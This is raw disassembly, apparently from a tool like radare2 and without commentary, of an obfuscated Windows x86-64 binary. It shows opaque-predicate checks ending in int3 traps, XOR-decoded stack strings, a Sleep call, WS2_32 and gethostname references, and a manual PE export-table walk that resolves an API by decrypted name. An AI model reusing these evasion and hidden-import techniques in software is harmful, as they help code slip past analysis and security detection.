add rdi, rcx
add r8d, r14d
cmp r8d, 8
jl 0x14005c5ea
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, 0x7dfe5890
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005d730
add edi, r14d
cmp edi, 5
jl 0x14005c6ab
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x14005c84a
mov r8, r15
mov rdi, rbx
mov r9d, ebx
mov r13d, 0xfeefbfff
mov rdx, r11
mov ecx, r9d
sar rdx, cl
mov rax, r12
shl rax, cl
or rdx, rax
xor r8, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r8
and rax, r13
xor rcx, rax
add rdi, rcx
add r9d, r14d
cmp r9d, 8
jl 0x14005c72c
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005d73b
add edi, r14d
cmp edi, 5
jl 0x14005c7ea
mov dword [rsp + 0x68], ebx
mov rax, qword gs:[0x3f]
mov r12d, 0x7dfe5890
cmp rax, r12
jne 0x14005c977
mov rdi, rbx
mov r8d, esi
movabs r11, 0x5684fef9ad4a0fe0
sub r8d, r14d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14005c8af
sub ecx, r14d
or ecx, 0xfffffffc
add ecx, r14d
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14005c876
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
or rax, r9
xor rcx, rax
mov r11d, 0x930f525f
xor rcx, r11
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005d746
add edi, r14d
mov eax, 0xa
cmp edi, eax
jl 0x14005c913
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x14005cab5
mov r8, r15
mov rdi, rbx
mov r9d, ebx
mov r13d, 0xfeefbfff
mov ecx, r9d
mov rdx, r12
shl rdx, cl
mov rax, r11
sar rax, cl
or rdx, rax
xor r8, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r8
and rax, r13
xor rcx, rax
add rdi, rcx
add r9d, r14d
cmp r9d, 8
jl 0x14005c998
xor r8, rdi
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005d751
add edi, r14d
cmp edi, 5
jl 0x14005ca55
mov qword [rbp + 0xbf8], rbx
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x14005cbcd
mov rdi, rbx
mov rcx, r14
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add rdi, rax
mov r8, qword gs:[0x50]
movzx eax, dil
xor r8, rax
add rcx, r14
sub r9, r14
jne 0x14005cada
xor r8, r11
imul rcx, r8, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r11
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r12
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005d75c
add edi, r14d
cmp edi, 7
jl 0x14005cb6d
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x14005cd0c
mov r8, r15
mov rdi, rbx
mov r9d, ebx
mov r13d, 0xfeefbfff
mov ecx, r9d
mov rdx, r12
shl rdx, cl
mov rax, r11
sar rax, cl
or rdx, rax
xor r8, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r8
and rax, r13
xor rcx, rax
add rdi, rcx
add r9d, r14d
cmp r9d, 8
jl 0x14005cbee
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r15d, 0xdeadbeef
or rax, r15
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005d767
add edi, r14d
cmp edi, 5
jl 0x14005ccac
lea rcx, [rbp + 0x1bee0]
call fcn.14006931c
mov edi, eax
lea rcx, [rbp + 0xe98]
call fcn.140068e04
mov rcx, rax
xor edx, edx
mov eax, edi
div rcx
mov r14, rdx
mov rax, qword gs:[0x3f]
cmp rax, r12
mov r12d, 1
jne 0x14005ce6c
mov rdi, rbx
mov r8d, esi
mov r9d, 0x2aaaaaab
movabs r15, 0x5684fef9ad4a0fe0
sub r8d, r12d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r9d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14005cd9a
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r15
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14005cd61
mov rax, rdi
xor rax, rdi
mov edx, 0x7dfe5890
xor rax, rdx
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov r15d, 0xdeadbeef
or rax, r15
xor rcx, rax
mov eax, 0x930f525f
xor rcx, rax
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, rdx
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r9d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005d772
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14005ce08
mov esi, ebx
lea rcx, [rbp + 0xe98]
call fcn.140068e04
movabs r15, 0x16661f05b0
movabs r11, 0x2ccc3e0b60
test rax, rax
je 0x14005d3d0
mov rax, qword gs:[0x3f]
cmp rax, 0x7dfe5890
jne 0x14005cff6
mov r9d, 0xfd6ccd6d
mov rdi, rbx
mov r8d, ebx
mov r10d, 0x2aaaaaab
mov r13d, 0x930f525f
mov r15d, 0xfeefbfff
mov ecx, r8d
mov edx, 0x7dfe5890
shl rdx, cl
mov rax, r13
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r15
xor rcx, rax
add rdi, rcx
add r8d, r12d
cmp r8d, 8
jl 0x14005ceca
movabs r15, 0x16661f05b0
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, 0x7dfe5890
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005d77d
add edi, r12d
cmp edi, 5
jl 0x14005cf96
movsxd rdx, r14d
lea rcx, [rbp + 0xe98]
call fcn.140068dfc
mov rcx, qword [rax]
call fcn.1400535ec
mov r12d, eax
mov dword [rsp + 0x68], r12d
mov rcx, qword gs:[0x3f]
mov r11d, 0x7dfe5890
cmp rcx, r11
jne 0x14005d135
mov r8, rbx
mov r10d, 1
mov ecx, r10d
lea r9d, [r10 + 4]
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
add rcx, r10
sub r9, r10
jne 0x14005d03d
mov r9d, 0x930f525f
xor rdi, r9
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xe78], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xe80], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xe88], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xe88]
and rdx, rax
mov rcx, qword [rbp + 0xe80]
and rcx, rdx
mov rax, qword [rbp + 0xe78]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005d788
add edi, r10d
cmp edi, 7
jl 0x14005d0d3
test r12d, r12d
jne 0x14005d7a9
mov rax, qword gs:[0x3f]
mov r12d, 1
cmp rax, r11
jne 0x14005d272
mov rdi, rbx
lea r8d, [r12 + 0xf]
movabs r9, 0x5684fef9ad4a0fe0
sub r8d, r12d
lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14005d1a3
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r9
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14005d168
mov r9d, 0x930f525f
mov rax, rdi
xor rax, rdi
xor rax, r11
mov qword [rbp + 0xde8], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, r9
mov qword [rbp + 0xdf0], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xdf8], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xdf8]
or rdx, rax
mov rcx, qword [rbp + 0xdf0]
or rcx, rdx
mov rax, qword [rbp + 0xde8]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005d793
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14005d20c
lea rcx, [rbp + 0xe98]
call fcn.140068e04
mov rdi, rax
lea eax, [r14 + 1]
cdqe
xor edx, edx
div rdi
mov r14d, edx
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
cmp rax, r10
jne 0x14005d3ab
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x14005d2b3
mov r9d, 0x930f525f
xor rdi, r9
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd38], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd40], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd48], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
and rdx, rax
mov rcx, qword [rbp + 0xd40]
and rcx, rdx
mov rax, qword [rbp + 0xd38]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005d79e
add edi, r12d
cmp edi, 7
jl 0x14005d349
add esi, r12d
lea rcx, [rbp + 0xe98]
call fcn.140068e04
movsxd rcx, esi
cmp rcx, rax
jb 0x14005ce97
movabs r11, 0x2ccc3e0b60
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
cmp rax, r10
jne 0x14005d4ef
mov rdi, rbx
mov rcx, r12
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add rdi, rax
mov r8, qword gs:[0x50]
movzx eax, dil
xor r8, rax
add rcx, r12
sub r9, r12
jne 0x14005d3f4
mov r9d, 0x930f525f
xor r8, r9
imul rcx, r8, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd38], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd40], rax
xor rcx, r10
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd48], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
and rdx, rax
mov rcx, qword [rbp + 0xd40]
and rcx, rdx
mov rax, qword [rbp + 0xd38]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005df2e
add edi, r12d
cmp edi, 7
jl 0x14005d48d
movdqa xmm0, xmmword [0x1401232e0]
movdqu xmmword [rbp + 0x588], xmm0
mov byte [rbp + 0x598], 9
mov byte [rbp + 0x599], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x59a], 0x98
mov byte [rbp + 0x59b], 0xe4
mov byte [rbp + 0x59c], reloc.WLDAP32.dll_Ordinal_60
xor eax, eax
mov byte [rbp + 0x59d], al
mov r8, rbx
lea r10d, [rax + 0x15]
mov r9, r15
movabs rsi, 0x8080808080808081
movabs r13, 0x1110daaf0
movabs r14, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x588]
xor dil, r8b
mov byte [rbp + r8 + 0x588], dil
add r8, r12
add r9, r13
add r10, 0x15
cmp r9, r11
jb 0x14005d552
mov byte [rbp + 0x59d], bl
mov r8d, r12d
xor edx, edx
lea rcx, [rbp + 0x588]
call fcn.140051d44
mov rax, qword gs:[0x3f]
mov r15d, 0x7dfe5890
cmp rax, r15
jne 0x14005dc1b
mov esi, 0xfd6ccd6d
mov r9d, esi
mov rdi, rbx
mov r8d, ebx
mov r10d, 0x930f525f
mov r14d, 0xfeefbfff
mov ecx, r8d
mov rdx, r15
shl rdx, cl
mov rax, r10
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r14
xor rcx, rax
add rdi, rcx
add r8d, r12d
cmp r8d, 8
jl 0x14005d600
mov rcx, rdi
xor rcx, r9
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd38], rax
add rcx, r15
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r11d, 0xdeadbeef
or rax, r11
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd40], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd48], rdi
mov edi, ebx
movabs r14, 0x1110daaef
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
xor rdx, rax
mov rcx, qword [rbp + 0xd40]
xor rcx, rdx
mov rax, qword [rbp + 0xd38]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005df39
add edi, r12d
cmp edi, 5
jl 0x14005d6c9
jmp 0x14005dc2c
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xc68], gethostname
mov qword [rbp + 0xc70], rbx
mov dword [rbp + 0xc80], ebx
mov qword [rbp + 0xc78], rbx
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xc88], xmm0
mov qword [rbp + 0xc58], r12
mov qword [rbp + 0xc60], rbx
mov byte [rbp + 0x290], Ordinal_217
mov byte [rbp + 0x291], 0xf3
mov byte [rbp + 0x292], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x293], 0xfd
mov byte [rbp + 0x294], 0x47
mov byte [rbp + 0x295], 4
mov byte [rbp + 0x296], Ordinal_217
mov byte [rbp + 0x297], Ordinal_143
mov byte [rbp + 0x298], 0xac
mov byte [rbp + 0x299], Ordinal_79
mov byte [rbp + 0x29a], Ordinal_46
mov byte [rbp + 0x29b], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x29c], 0xeb
xor eax, eax
mov byte [rbp + 0x29d], al
mov r8, rbx
movabs rsi, 0x8080808080808081
movabs r9, 0xdddb1ae30
lea r10d, [rax + 0xd]
movabs r14, 0x1110daaf0
movabs r15, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x290]
xor dil, r8b
mov byte [rbp + r8 + 0x290], dil
inc r8
add r9, r14
add r10, 0xd
movabs rax, 0x1bbb635c60
cmp r9, rax
jb 0x14005d87d
mov byte [rbp + 0x29d], bl
mov byte [rbp + 0x250], Ordinal_27
mov byte [rbp + 0x251], 0x86
mov byte [rbp + 0x252], 0x76
mov byte [rbp + 0x253], 0x9a
mov byte [rbp + 0x254], 0x3f
mov byte [rbp + 0x255], Ordinal_46
mov byte [rbp + 0x256], 0xad
mov byte [rbp + 0x257], 0x88
mov byte [rbp + 0x258], 0xbc
xor eax, eax
mov byte [rbp + 0x259], al
mov r8, rbx
lea r9d, [rax + 9]
movabs r10, 0x9997b0270
movabs r11, 0x1332f604e0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x250]
xor dil, r8b
mov byte [rbp + r8 + 0x250], dil
inc r8
add r10, r14
add r9, 9
cmp r10, r11
jb 0x14005d954
mov byte [rbp + 0x259], bl
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x250]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14005dbe4
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14005dbe4
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14005dbe4
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14005dbe4
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov esi, dword [rax + 0x24]
add rsi, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, rbx
mov r14d, dword [rax + 0x18]
test r14, r14
je 0x14005dbe4
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x290]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14005da57
inc rax
test edi, edi
jne 0x14005da42
test r8d, r8d
je 0x14005da69
inc rdx
cmp rdx, r14
jb 0x14005da31
jmp 0x14005dbe4
